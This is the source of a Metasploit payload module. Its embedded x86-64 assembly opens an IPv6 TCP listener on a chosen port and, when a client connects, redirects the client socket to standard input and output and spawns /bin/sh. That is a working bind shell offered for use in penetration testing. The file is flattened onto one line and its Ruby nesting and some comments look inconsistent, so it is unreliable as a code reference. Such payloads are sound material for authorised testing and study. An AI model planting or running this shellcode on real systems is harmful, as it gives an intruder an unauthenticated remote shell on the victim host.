## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## module MetasploitModule CachedSize = 94 include Msf::Payload::Single include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) super(merge_info(info, 'Name' => 'Linux x64 Command Shell, Bind TCP Inline (IPv6)', 'Description' => 'Listen for an IPv6 connection and spawn a command shell', 'Author' => 'epi ', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_X64, 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShellUnix, )) def generate(opts={}) # tcp port conversion; shamelessly stolen from linux/x86/shell_reverse_tcp_ipv6.rb port_order = ([1,0]) # byte ordering tcp_port = [datastore['LPORT'].to_i].pack('n*').unpack('H*').to_s.scan(/../) # converts user input into integer and unpacked into a string array tcp_port.pop # removes the first useless / from the array tcp_port.shift # removes the last useless / from the array tcp_port = (port_order.map{|x| tcp_port[x]}).join('') # reorder the array and convert it to a string. payload = <<-EOS socket_call: ; int socket(int domain, int type, int protocol) push 0x29 pop rax ; socket syscall push 0xa pop rdi ; AF_INET6 push 0x1 pop rsi ; SOCK_STREAM xor edx,edx ; auto-select protocol syscall push rax pop rdi ; store socket fd populate_sockaddr_in6: ; struct sockaddr_in6 { ; sa_family_t sin6_family; /* AF_INET6 */ ; in_port_t sin6_port; /* port number */ ; uint32_t sin6_flowinfo; /* IPv6 flow information */ ; struct in6_addr sin6_addr; /* IPv6 address */ ; uint32_t sin6_scope_id; /* Scope ID (new in 2.4) */ ; }; ; struct in6_addr { ; unsigned char s6_addr[16]; /* IPv6 address */ ; }; cdq ; zero-out rdx via sign-extension push rdx push rdx push rdx ; 24 bytes of sockaddr_in6, all 0x0 push.i16 0x#{tcp_port} ; sin6_port push.i16 0xa ; sin6_family push rsp pop rsi ; store pointer to struct bind_call: ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen) ; rdi -> fd already stored in rdi ; rsi -> pointer to sockaddr_in6 struct already in rsi push 0x31 pop rax ; bind syscall push 0x1c pop rdx ; length of sockaddr_in6 (28) syscall listen_call: ; int listen(int sockfd, int backlog); ; rdi -> fd already stored in rdi push 0x32 pop rax ; listen syscall push 0x1 pop rsi ; backlog syscall accept_call: ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); ; rdi -> fd already stored in rdi push 0x2b pop rax ; accept syscall cdq ; zero-out rdx via sign-extension push rdx push rdx push rsp pop rsi ; when populated, client will be stored in rsi push 0x1c lea rdx, [rsp] ; pointer to length of rsi (16) syscall dup2_calls: ; int dup2(int oldfd, int newfd); xchg rdi, rax ; grab client fd push 0x3 pop rsi ; newfd dup2_loop: ; 2 -> 1 -> 0 (3 iterations) push 0x21 pop rax ; dup2 syscall dec esi syscall loopnz dup2_loop exec_call: ; int execve(const char *filename, char *const argv[], char *const envp[]); push 0x3b pop rax ; execve call cdq ; zero-out rdx via sign-extension mov rbx, '/bin/sh' push rbx push rsp pop rdi ; address of /bin/sh syscall EOS Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string end end end